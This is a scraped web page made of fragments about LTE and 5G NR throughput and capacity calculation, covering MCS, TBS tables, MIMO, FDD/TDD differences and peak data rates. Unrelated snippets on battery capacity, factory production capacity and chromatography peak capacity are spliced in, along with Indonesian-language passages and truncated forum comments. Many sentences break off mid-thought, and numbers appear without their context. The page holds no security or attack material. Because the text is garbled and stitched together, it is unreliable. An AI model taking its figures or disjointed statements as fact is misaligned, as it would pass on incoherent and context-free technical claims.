throughput depending on bandwidth, MCS (Modulation and Coding Scheme) and MIMO usage.  In [15], analyze a grouping of measurements to NOTE: Refer to 3GPP 36.  LTE throughput calculator Introduction The post presents the simplest way how to calculate LTE throughput. 1-1 TBS table.  real user bit rate will be a bit lower).  In LTE and NR, the DM-RS and associated uplink data (physical uplink shared channel, PUSCH) with DFT precoding enabled are time multiplexed in different OFDM symbols (see Section 8. 211-Table 6. e.  LTE FDD Cell Capacity Calculator.  of bits per modulation symbol.  Calculate the maxium theoretical throughput of a specified LTE Configuration.  Where: C = Battery capacity (Ah) LTE Peak Capacity Explained: How to Calculate it? JUNE 27, 2011 42 COMMENTS I like to focus on LTE capacity in the next . 8 Mbps after accounting for overhead. 1.  For a 2x5 MHz system, the estimated peak downlink rate is 37.  If you&rsquo;re planning to include a storage system, calculating the battery capacity is essential. 5, it means this modulation has 50% of efficiency i.  Calculates per-sector capacity.  OFDM splits the carrier frequency bandwidth into several small subcarriers spaced at 15 kHz intervals, and modulates individual subcarriers using QPSK, 16-QAM, or 64-QAM modulation.  Select : FDD and TDD modes; Channel Widths; UL/DL ratio for TDD; Modulation up to 256QAM; Gives results for.  The calculator will try to provide Cell Capacity based on the Control channel overheads, RF Condition parameters and Cell Configuration parameters supplied. 5, it can carry 2 information bits and rest of the 2bits for redundancy of information.  he calculation is based on the 3GPP standard recommendation.  thanks this info are A tool to calculate the theoretical maximum for 5G-NR, with FDD, TDD, SDL and SUL band support.  More details how to calculate maximum LTE throughput.  The following calculations are made for user data bit rates on IP layer (including IP headers and LTE overhead, i.  Feb 12, 2015 · This tutorial explains how LTE downlink maximum throughput is determined.  For this reason, LTE may also be called 3.  In normal DL or UL subframe, TBS/subframe can be calculated in the same way as in FDD.  Use this calculator to calculate LTE throughput, and carrier aggregation Throughput.  Signal to noise ratio affects all wireless networks, and this includes Bluetooth, Wi-Fi, 4G, 4G LTE, and 5G, since their operation is dependent on radio signals. iswanto ANALYSIS MONITORING AGENDA 1 CAPACITY MANAGEMENT METHODOLOGY 2 RACH CAPACITY 3 PAGING CAPACITY 4 PDCCH CAPACITY 5 PDSCH CAPACITY 6 PUCCH CAPACITY 7 PUSCH CAPACITY 2 CAPACITY MANAGEMENT CAPACITY KPI &bull; Representative Capacity KPI which bring performance degradation when .  Capacity planning involves estimating the network capacity required to deliver satisfactory performance to users while considering factors such Jun 5, 2018 · It then includes LTE users, LTE scheduling, LTE traffic downlink/uplink analysis, transmission time interval (TTI) utilizations, throughput analysis, physical resource block utilization analysis, modulation and codec scheme, channel quality indicator (CQI), &ldquo;MIMO&rdquo; analysis, data connection performance, circuit-switched fallback (CSFB LTE General .  3GPP Long Term Evolution (LTE) is the new 3GPP standard making use of latest technologies such as OFDMA based access, frequency based scheduling, MIMO and higher order modulation.  Capacity-Dimensioning.  The text shall try to explain how a future Traffic forecast can be translated into required resources based on Statistics and Observations from current Live Network.  Use the Following Production Capacity Formula. 7.  MCS - Modulation and Coding Scheme Sep 20, 2023 · Machine-hour capacity = number of usable machines * number of working hours.  TDD throughput calculation is very similar to FDD case as you see below.  The key difference is 'number of subframes /sec' parts as marked in red.  Even though there is huge difference between LTE and Non-LTE in terms of physical layer implementation, you can just think of this as just extention of HSPA.  Uplink and Downlink; Aggregate capacity for 3 or more sectors for macro sites; LTE Coverage Planning Tools CableFree LTE Coverage Planning Tools Nov 28, 2019 · The peak capacity can be estimated by the following equation, where tG is the gradient time and w is the average 4&sigma; peak width (measured at 13.  Supports TDD, FDD and SDL, Carrier aggregation and MIMO 4G/LTE - Throughput Throughput Calculation - From UE Cateogory For many people working in LTE, one of the most important question would be what is the maximum throughput for a network, device or network operator.  To understand the calculations below, one needs to be familiar with the technology (I will provide references at the end).  Download documentation. 12-1: OFDM parameters and CPRI Specification 6. 00 &uarr; Mbps Accounts for PDCCH, RS, PSS, SSS, PBCH, PCFICH and PHICH overhead. 6 for LTE).  Mar 14, 2023 · This Page provides LTE Max (Maximum) users capacity calculator based on CCE.  :) FDD Downlink Throughput: We need to calculate the total physical 5G Throughput Calculator (with Practical constraints) Peak throughput calculator is available in Menu as well Select Frequency Range + Direction FR1 - Downlink FR2 - Downlink FR1 - Uplink FR2 - Uplink Frequency Range + Direction LTE throughput calculator EXAMPLE: Input : MCS = 10, PRBs = 20, Number of MIMO Antennas = 2 Outputs : LTE throughput = 6.  It provides two methods for calculating peak capacity: 1) For a 2x5MHz LTE system, peak capacity is calculated to be 37. e 1 Sub-frame = 1 ms) Network capacity analysis based on KPIs is essential for cellular network performance optimization.  as 16QAM can carry 4 bits but with coding rate of 0.  While LTE speeds reach 100 Mbps, true 4G offers speeds up to 1,000 Mbps.  Now, we&rsquo;re ready to figure out production capacity by using this formula: Production capacity = Machine-hour capacity / Cycle time for each unit.  It should also be noted that PAPR can be defined as power-to-average power ratio, but sometimes the term peak-to-average power ratio is used.  The maximum data transmission rate of LTE cell is 100 Mb/s in downlink Throughput: 0.  LTE Throughput Calculator . 95G. The formula used in 5G NR throughput (i. 2.  The document notes that actual average rates will be Aug 17, 2020 · Capacity improvement is the essential advantages in 4 th generation mobile systems which called Long-Term Evolution (LTE).  Accurately computing all the overhead REs is necessary to achieve an efficient system design, which is difficult because LTE is a complex standard that contains a large number of implementation The document discusses LTE peak data rates and capacity calculations.  data rate) calculator is also described.  note: All calculations below is for 20MHz, for less bandwidth you just divide.  For example, if we say 16 QAM with coding rate of 0. 4% of the peak height) [1]: For highly complex samples, it is desirable to maximise the peak capacity by optimising the analytical conditions, to achieve separation of the maximum number of sample This site is for everything on 4G/LTE.  Sebagian site indoor menggunakan bandwidth 15 MHz.  This chapter focuses on LTE network KPI analysis to evaluate and detect LTE performance.  carrier aggregation mainstream, with global proliferation, which benefits the entire mobile ecosystem: Operators, App developers, and OEMs &ndash; by delivering higher data rates, improved capacity, and the ability to use spectrum HI all,Please go through video of Throughput Calculation in LTE (FDD &amp; TDD) # How to Calculate LTE Data Rate.  Apr 25, 2016 · LTE Peak Data Rate Calculation.  Production Capacity Examples LTE Capacity Calculator CableFree LTE Capacity Calculator.  2) For a 2x20MHz system with 4x4 MIMO, peak downlink capacity is calculated to be 298 Mbps and uplink capacity is calculated to be 82 Mbps after accounting for Dec 15, 2012 · From the estimation calculation for downlink under LTE in [34], we assume that an ad-hoc RN has the capacity to relay 1, 2 or 3 resource blocks (RBs) under LTE with FDD at one time, using 64 Apr 25, 2016 · Secara teori, Peak Data Rate yang diperoleh sebesar 302,4 Mbps, namun kondisi terkini jarang sekali menggunakan 20 MHz, karena implementasi yang dimungkinkan terutama untuk outdoor coverage adalah 10 Mhz.  1 0 64KB Read more. 00 &darr; / 0.  Jul 31, 2011 · may you help me getting understand calculation of lte capacity for each cluster and each cell.  of REs per subframe x no.  LTE-FDD Capacity Calculator. The 5G NR Throughput Calculator is developed as per 3GPP TS 38. 11ad wimax Zigbee z-wave GSM LTE UMTS Bluetooth UWB IoT satellite Antenna RADAR Dec 11, 2020 · 5G Capacity: The meaning of each parameter in this equation is as follows: 5G Capacity Formula Explaining the formula in more detail: For 5G NR, the approximate data rate for given number of aggregated carriers in a band or band combination is calculated using the above equation or formula.  =100800 bits/ 1 ms.  Battery Capacity Calculation.  May 10, 2014 · How to dimension user traffic in LTE - Download as a PDF or view online for free speed will be around 5 Mbit/s &ndash; An LTE FDD 10 MHz cell average capacity is 5 Oct 2, 2020 · In this post , we will find out the peak eNodeB capacity (Mbps) for different channel bandwidth supported in LTE system.  Let&rsquo;s assume, the UE is in good radio condition and its capability is available for 150 Mbps for downlink and 50 Mbps for uplink.  4.  Some details about parameters are listed below: Bandwidth defines how many radio resources are available to transmit data.  DSS based overhead calculations are also part of the document.  The maximum data rate depends on channel bandwidth.  Feb 1, 2017 · With this technology, it achieves peak spectral efficiency of 30 bit/s/Hz for downlink and 15 bit/sec/Hz for uplink.  In this study they discover that TCP connections routinely under-utilized the capacity of LTE connections, highlighting the importance of understanding and exploring the unique features of LTE for performance analysis. 22 Mbps LTE employs OFDMA: as it's base multiple access scheme, leveraging Orthogonal Frequency Division Multiplexing (OFDM). 306, 38.  The following fields are used in 5G NR throughput Jul 12, 2023 · The calculation is based on the 3GPP TS 38.  To obtain the correct result of Spectral Efficiency calculator, it is necessary to: calculate 4G LTE Throughput calculator (depend on number of MIMO layers, Bandwidth, Frequency range, modulation type, and so on.  If you are interested in the theory of how the calculations are performed, then jump to LTE FDD Capacity Calculation.  Let&rsquo;s assume a 5 MHz LTE system with 2&times;2 MIMO. 3. 8 Mbps.  CFI 1 Usage Jul 9, 2011 · Hence, it is likely that in large percentage of the cell coverage area, MIMO-SM is not operational due to interference, which results in lower capacity.  E-UTRA sampling rates for the background information for this table.  It provides calculations to estimate the peak capacity of a 2x5 MHz and 2x20 MHz LTE system.  The subsequent development of LTE-Advanced (LTE-A) yielded peak throughput on the order of 300 Mbps.  If you know the MCS index and number of RBs, you can calculate the throughput for that specific MCS idex and RB as follows: This page covers 5G NR Throughput Calculator.  Actually the calculation is too simple, [&hellip;] Peak Throughput Calc; Link Budget Calculator; Timing Advanced (NR) Theory for LTE FDD Capacity calculation is here.  Another difference is about TBS each subframe as marked in blue.  As LTE uses different channel bandwidths both for FDD and TDD. 101-1,2 documents.  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